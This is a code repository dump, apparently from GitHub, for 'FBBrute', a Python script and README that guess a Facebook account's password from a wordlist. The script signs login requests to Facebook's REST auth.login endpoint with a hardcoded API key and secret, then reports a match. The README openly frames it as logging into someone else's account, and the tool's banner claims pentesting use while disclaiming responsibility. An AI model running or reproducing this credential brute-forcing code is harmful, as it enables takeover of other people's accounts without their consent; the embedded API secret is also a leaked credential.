├── .img.png
├── README.md
└── fbbrute.py
/.img.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/johncarlo205/FBBrute/HEAD/.img.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | # FBBrute
4 | FBBrute is a Facebook brute force tool, launches an attack by guessing the target password with a set of wordlist provided.
5 | so this is the same as you try to login to someone's account while guessing the password, if the password you are trying is wrong, you will think of another password that might be used by the target to login to the account but this way might be a bit longer, but with FBBrute this will make it easier.
6 | you only need to create one file with a collection of passwords then enter the username, email or ID of the target then press start crack...
7 |
8 | ### Installation and Using FBBrute
9 | ```bash
10 | $ apt-get install python git
11 | $ git clone https://github.com/Gameye98/FBBrute
12 | $ cd FBBrute
13 | $ python fbbrute.py
14 | ```
15 |
16 | ### Contact me
17 | Line : dtl.lily
18 | Telegram : @dtlily
19 | Facebook : cgi.izo
20 | Instagram : @dtlily
--------------------------------------------------------------------------------
/fbbrute.py:
--------------------------------------------------------------------------------
1 | ## fbbrute.py - Facebook Brute Force
2 | # -*- coding: utf-8 -*-
3 | ##
4 | import os
5 | import sys
6 | import urllib
7 | import hashlib
8 |
9 | API_SECRET = "62f8ce9f74b12f84c123cc23437a4a32"
10 |
11 | __banner__ = """
12 | +=======================================+
13 | |..........Facebook Cracker v 1.........|
14 | +---------------------------------------+
15 | |#Author: DedSecTL |
16 | |#Contact: Telegram @dtlily |
17 | |#Date: Fri Feb 8 10:15:49 2019 |
18 | |#This tool is made for pentesting. |
19 | |#Changing the description of this tool |
20 | |Won't made you the coder ^_^ !!! |
21 | |#Respect Coderz ^_^ |
22 | |#I take no responsibilities for the |
23 | | use of this program ! |
24 | +=======================================+
25 | |..........Facebook Cracker v 1.........|
26 | +---------------------------------------+
27 | """
28 |
29 | print("[+] Facebook Brute Force\n")
30 | userid = raw_input("[*] Enter [Email|Phone|Username|ID]: ")
31 | try:
32 | passlist = raw_input("[*] Set PATH to passlist: ")
33 | if os.path.exists(passlist) != False:
34 | print(__banner__)
35 | print(" [+] Account to crack : {}".format(userid))
36 | print(" [+] Loaded : {}".format(len(open(passlist,"r").read().split("\n"))))
37 | print(" [+] Cracking, please wait ...")
38 | for passwd in open(passlist,'r').readlines():
39 | sys.stdout.write(u"\u001b[1000D[*] Trying {}".format(passwd.strip()))
40 | sys.stdout.flush()
41 | sig = "api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail={}format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword={}return_ssl_resources=0v=1.0{}".format(userid,passwd.strip(),API_SECRET)
42 | xx = hashlib.md5(sig).hexdigest()
43 | data = "api_key=882a8490361da98702bf97a021ddc14d&credentials_type=password&email={}&format=JSON&generate_machine_id=1&generate_session_cookies=1&locale=en_US&method=auth.login&password={}&return_ssl_resources=0&v=1.0&sig={}".format(userid,passwd.strip(),xx)
44 | response = urllib.urlopen("https://api.facebook.com/restserver.php?{}".format(data)).read()
45 | if "error" in response:
46 | pass
47 | else:
48 | print("\n\n[+] Password found .. !!")
49 | print("\n[+] Password : {}".format(passwd.strip()))
50 | break
51 | print("\n\n[!] Done .. !!")
52 | else:
53 | print("fbbrute: error: No such file or directory")
54 | except KeyboardInterrupt:
55 | print("fbbrute: error: Keyboard interrupt")
--------------------------------------------------------------------------------